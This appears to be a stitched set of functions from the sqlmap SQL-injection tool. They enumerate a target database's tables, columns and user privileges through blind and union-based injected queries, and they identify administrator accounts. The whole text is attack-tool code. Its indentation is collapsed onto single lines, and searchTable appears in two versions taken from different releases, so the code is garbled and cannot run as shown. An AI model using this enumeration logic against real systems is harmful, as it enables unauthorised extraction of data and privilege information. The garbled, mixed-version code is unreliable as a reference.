def getTables(self): if kb.dbms == "MySQL" and not self.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg self.forceDbmsEnum() infoMsg = "fetching tables" if conf.db: infoMsg += " for database '%s'" % conf.db logger.info(infoMsg) rootQuery = queries[kb.dbms].tables if conf.unionUse: query = rootQuery["inband"]["query"] condition = rootQuery["inband"]["condition"] if conf.db: if "," in conf.db: dbs = conf.db.split(",") query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs) else: query += " WHERE %s='%s'" % (condition, conf.db) elif conf.excludeSysDbs: query += " WHERE " query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList) infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) logger.info(infoMsg) value = inject.getValue(query, blind=False) if value: for db, table in value: if not self.cachedTables.has_key(db): self.cachedTables[db] = [table] else: self.cachedTables[db].append(table) if not self.cachedTables: if conf.db: if "," in conf.db: dbs = conf.db.split(",") else: dbs = [conf.db] else: if not len(self.cachedDbs): dbs = self.getDbs() else: dbs = self.cachedDbs for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) query = rootQuery["blind"]["count"] % db count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] indexRange = getRange(count) for index in indexRange: query = rootQuery["blind"]["query"] % (db, index) table = inject.getValue(query, inband=False) tables.append(table) if tables: self.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if not self.cachedTables: errMsg = "unable to retrieve the tables for any database" raise sqlmapNoneDataException, errMsg return self.cachedTables
def getPrivileges(self): infoMsg = "fetching database users privileges" rootQuery = queries[kb.dbms].privileges if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() mysqlPrivs = ( ( 1, "select_priv" ), ( 2, "insert_priv" ), ( 3, "update_priv" ), ( 4, "delete_priv" ), ( 5, "create_priv" ), ( 6, "drop_priv" ), ( 7, "reload_priv" ), ( 8, "shutdown_priv" ), ( 9, "process_priv" ), ( 10, "file_priv" ), ( 11, "grant_priv" ), ( 12, "references_priv" ), ( 13, "index_priv" ), ( 14, "alter_priv" ), ( 15, "show_db_priv" ), ( 16, "super_priv" ), ( 17, "create_tmp_table_priv" ), ( 18, "lock_tables_priv" ), ( 19, "execute_priv" ), ( 20, "repl_slave_priv" ), ( 21, "repl_client_priv" ), ( 22, "create_view_priv" ), ( 23, "show_view_priv" ), ( 24, "create_routine_priv" ), ( 25, "alter_routine_priv" ), ( 26, "create_user_priv" ), ) pgsqlPrivs = ( ( 1, "createdb" ), ( 2, "super" ), ( 3, "catupd" ), ) if conf.unionUse: if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["inband"]["query2"] condition = rootQuery["inband"]["condition2"] else: query = rootQuery["inband"]["query"] condition = rootQuery["inband"]["condition"] if conf.user: if "," in conf.user: users = conf.user.split(",") query += " WHERE " # NOTE: I assume that the user provided is not in # MySQL >= 5.0 syntax 'user'@'host' if kb.dbms == "MySQL" and self.has_information_schema: queryUser = "******" + conf.user + "%" query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users) else: query += " OR ".join("%s = '%s'" % (condition, user) for user in users) else: # NOTE: I assume that the user provided is not in # MySQL >= 5.0 syntax 'user'@'host' if kb.dbms == "MySQL" and self.has_information_schema: queryUser = "******" + conf.user + "%" query += " WHERE %s LIKE '%s'" % (condition, queryUser) else: query += " WHERE %s = '%s'" % (condition, conf.user) values = inject.getValue(query, blind=False) if values: for value in values: user = None privileges = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the privileges else: privilege = value[count] # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if kb.dbms == "PostgreSQL" and privilege.isdigit(): for position, pgsqlPriv in pgsqlPrivs: if count == position and int(privilege) == 1: privileges.add(pgsqlPriv) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif kb.dbms == "MySQL" and not self.has_information_schema: for position, mysqlPriv in mysqlPrivs: if count == position and privilege.upper() == "Y": privileges.add(mysqlPriv) if self.__isAdminFromPrivileges(privileges): areAdmins.add(user) if self.cachedUsersPrivileges.has_key(user): self.cachedUsersPrivileges[user].extend(privileges) else: self.cachedUsersPrivileges[user] = list(privileges) if not self.cachedUsersPrivileges: conditionChar = "=" if conf.user: if kb.dbms == "MySQL" and self.has_information_schema: conditionChar = " LIKE " if "," in conf.user: users = set() for user in conf.user.split(","): users.add("%" + user + "%") else: users = [ "%" + conf.user + "%" ] elif "," in conf.user: users = conf.user.split(",") else: users = [ conf.user ] else: if not len(self.cachedUsers): users = self.getUsers() else: users = self.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if kb.dbms == "MySQL" and self.has_information_schema: unescapedUser = unescaper.unescape(user, quote=False) if user in retrievedUsers: continue infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["blind"]["count2"] % queryUser elif kb.dbms == "MySQL" and self.has_information_schema: query = rootQuery["blind"]["count"] % (conditionChar, queryUser) else: query = rootQuery["blind"]["count"] % queryUser count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % user logger.info(infoMsg) privileges = set() indexRange = getRange(count) for index in indexRange: if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["blind"]["query2"] % (queryUser, index) elif kb.dbms == "MySQL" and self.has_information_schema: query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index) else: query = rootQuery["blind"]["query"] % (queryUser, index) privilege = inject.getValue(query, inband=False) # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if kb.dbms == "PostgreSQL" and ", " in privilege: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.isdigit() and int(priv) == 1: for position, pgsqlPriv in pgsqlPrivs: if position == i: privileges.add(pgsqlPriv) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif kb.dbms == "MySQL" and not self.has_information_schema: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.upper() == "Y": for position, mysqlPriv in mysqlPrivs: if position == i: privileges.add(mysqlPriv) i += 1 if self.__isAdminFromPrivileges(privileges): areAdmins.add(user) # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query if kb.dbms == "MySQL" and not self.has_information_schema: break if privileges: self.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not self.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise sqlmapNoneDataException, errMsg return ( self.cachedUsersPrivileges, areAdmins )
def searchTable(self): rootQuery = queries[kb.dbms].search_table foundTbls = {} tblList = conf.tbl.split(",") tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") if not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: foundTbls[db] = [] for tbl in tblList: infoMsg = "searching table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % tbl logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % tbl for db in foundTbls.keys(): if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if kb.unionPosition is not None or conf.direct: query = rootQuery.inband.query % db query += tblQuery values = inject.getValue(query, blind=False, error=False) if values: if isinstance(values, basestring): values = [ values ] for foundTbl in values: foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (tbl, db) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % db query += " AND %s" % tblQuery count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "no table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % tbl warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % db query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, inband=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in foundTbls.items(): if len(tbls) == 0: foundTbls.pop(db) return foundTbls
def searchColumn(self): rootQuery = queries[kb.dbms].search_column foundCols = {} dbs = {} colList = conf.col.split(",") colCond = rootQuery.inband.condition colConsider, colCondParam = self.likeOrExact("column") if not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: dbs[db] = {} for column in colList: infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % column logger.info(infoMsg) foundCols[column] = {} colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % column for db in dbs.keys(): if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if kb.unionPosition is not None or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) values = inject.getValue(query, blind=False, error=False) if values: if isinstance(values, basestring): values = [ values ] for foundTbl in values: if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == "1": conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [ foundTbl ] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (column, db) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % (db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % (db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) tbl = inject.getValue(query, inband=False) kb.hintValue = tbl if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) self.dumpFoundColumn(dbs, foundCols, colConsider)
def searchTable(self): rootQuery = queries[Backend.getIdentifiedDbms()].search_table foundTbls = {} tblList = conf.tbl.split(",") tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") if not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: if isinstance(db, list): db = db[0] db = safeSQLIdentificatorNaming(db) foundTbls[db] = [] for tbl in tblList: tbl = safeSQLIdentificatorNaming(tbl, True) infoMsg = "searching table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if isTechniqueAvailable( PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) or conf.direct: query = rootQuery.inband.query % db query += tblQuery values = inject.getValue(query, blind=False) if values: if isinstance(values, basestring): values = [values] for foundTbl in values: if foundTbl is None: continue foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % db query += " AND %s" % tblQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query = query % db query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, inband=False, error=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in foundTbls.items(): if len(tbls) == 0: foundTbls.pop(db) return foundTbls